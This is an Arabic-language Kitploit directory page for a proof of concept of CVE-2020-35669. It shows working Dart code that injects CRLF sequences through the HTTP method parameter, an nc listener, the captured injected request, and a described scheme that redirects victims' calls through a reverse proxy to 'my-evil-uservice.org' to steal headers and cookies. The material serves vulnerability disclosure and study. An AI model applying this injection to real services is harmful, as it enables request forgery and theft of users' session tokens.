Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/n0npax/cve-2020-35669
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubn0npax/cve-2020-35669

CVE-2020-35669

إثبات مفهوم لاستغلال CVE-2020-35669 يوضح تهريب طلبات HTTP وحقن الرؤوس في حزمة http الخاصة بـ Dart عبر معلمات طريقة مصممة، مما يتيح تجاوز الوكيل العكسي والتلاعب برأس المضيف.

عرض المستودع
11منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-35669

خادم تجريبي

يرجى تشغيل الخادم التجريبي باستخدام الطرفية الأولى

root@kitploit:~
sudo nc -l 127.0.0.1 80 

طبق الـ diff المعطى

root@kitploit:~
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
 void main() async {
   var r = Request(
       "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
-      Uri(scheme: "http", path: "/llama", host: "google.com"));
+      Uri(scheme: "http", path: "/llama", host: "localhost"));
   var rs = await r.send();
   var resp = await Response.fromStream(rs);
   print('${resp.body}');

شغّل التطبيق التجريبي

يرجى تنفيذ main.dart باستخدام الطرفية الثانية

root@kitploit:~
dart run main.dart

النتيجة

يجب أن يستقبل nc الطلب المعطى

root@kitploit:~
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost

جزء مهم من الكود

root@kitploit:~
  var r = Request(
      "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
      Uri(scheme: "http", path: "/llama", host: "google.com"));
  var rs = await r.send();

المسار الحرج

بافتراض أن الـ diff المعروض أعلاه لم يتم تطبيقه والمستخدم خلف rev-proxy تم الوصول إلى الموقع الذي يخدمه example.com.

root@kitploit:~
dart run main.dart
<!doctype html>
<html>
<head>
    <title>Example Domain</title>

    <meta charset="utf-8" />
    ...
    ... blah blah blah
    ...

لماذا يشكّل هذا خطرًا أمنيًا

إذا كان المطور يستخدم Request لتجريد توليد استدعاءات HTTP وكان يقبل معامل method من المستخدم، فيمكن للمستخدم القيام ببعض الحيل مثل حقن الترويسات أو تزوير المسار. يمكن استغلال هذا بطرق عديدة ويبدو أنه مهم جدًا خاصة في حالة وجود بروكسي عكسي. قد يقوم البروكسي بتمرير طلب شخص ما إلى أي مضيف بناءً على ترويسة host. لنفترض أنني أستبدل example.com بـ my-evil-uservice.org وأن الضحية يعمل في شركة خلف البروكسي. هذا يعني أنه يمكنني إعادة توجيه الاستدعاءات مع الترويسات/الكوكيز (الرموز) وهلم جرا. بناءً على ذلك، يمكن حدوث سرقة للاستدعاءات مع جميع الترويسات والكوكيز.

تنزيل الأداة